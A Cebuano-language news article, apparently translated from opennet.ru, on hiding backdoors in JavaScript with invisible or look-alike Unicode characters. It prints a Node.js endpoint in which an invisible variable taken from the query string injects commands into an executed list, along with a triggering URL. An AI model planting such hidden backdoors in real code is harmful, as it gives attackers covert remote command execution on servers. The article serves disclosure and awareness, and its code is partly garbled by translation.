Paggamit sa dili makita nga unicode nga mga karakter aron itago ang mga aksyon sa JavaScript code

Pagkahuman sa pamaagi sa pag-atake sa Trojan Source, nga gibase sa paggamit sa mga karakter sa Unicode nga nagbag-o sa han-ay sa pagpakita sa bidirectional nga teksto, lain nga pamaagi sa pagpaila sa mga tinago nga aksyon ang gipatik, nga magamit sa code sa JavaScript. Ang bag-ong pamaagi gibase sa paggamit sa unicode nga karakter nga "γ…€" (code 0x3164, "HANGUL FILLER"), nga nahisakop sa kategorya sa mga letra, apan wala’y makita nga sulud. Ang Unicode nga kategorya diin kini nga karakter gitugutan sukad sa ECMAScript 2015 nga detalye alang sa paggamit sa JavaScript variable nga mga ngalan, nga nagpaposible sa paghimo sa dili makita nga mga variable o bag-ong mga variable nga dili mailhan gikan sa ubang mga variable sa sikat nga mga editor sa code sama sa Notepad++ ug VS Code.

Isip usa ka pananglitan, ang code alang sa Node.js nga plataporma gihatag, diin, gamit ang usa ka variable nga naglangkob sa usa ka karakter nga "γ…€", usa ka backdoor ang gitago nga nagtugot sa pagpatuman sa code nga gitakda sa tig-atake: app.get('/ network_health', async (req, res) => {const {timeout,γ…€} = req.query; // sa pagkatinuod kini nag-ingon nga "const {timeout,γ…€ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',γ…€ // ang comma gisundan sa karakter \u3164 ];

Sa unang pagtan-aw, ang timeout nga bili lamang ang gipaagi sa eksternal nga parameter, ug ang array nga adunay mga sugo nga ipatuman adunay usa ka dili makadaot nga fixed list. Apan sa tinuud, pagkahuman sa variable nga timeout, ang kantidad sa lain nga dili makita nga variable nga adunay code sa karakter \u3164 gi-assign, nga gipuli usab sa han-ay sa mga executable nga mga mando. Busa, kung ang ingon nga disenyo magamit, ang usa ka tig-atake mahimong magpadala usa ka hangyo sama sa "https://host:8080/network_health?%E3%85%A4=command" aron ma-aktibo ang backdoor ug ipatuman ang ilang code.

Ang laing pananglitan mao ang karakter nga "Ηƒ" (ALVEOLAR CLICK), nga magamit sa paghatag sa dagway sa pagpakita sa usa ka exclamation point. Pananglitan, ang ekspresyon nga "kon(environmentΗƒ=ENV_PROD){" kung gipatuman sa Node.js 14 kanunay nga tinuod, tungod kay wala kini magsusi sa mga kalainan, apan nag-assign sa bili sa ENV_PROD sa variable nga "environmentΗƒ". Ang ubang nagpahisalaag nga unicode nga mga karakter naglakip sa "/", "βˆ’", "οΌ‹", "β©΅", "❨", "β«½", "κ“Ώ" ug "βˆ—".

Source: opennet.ru

Idugang sa usa ka comment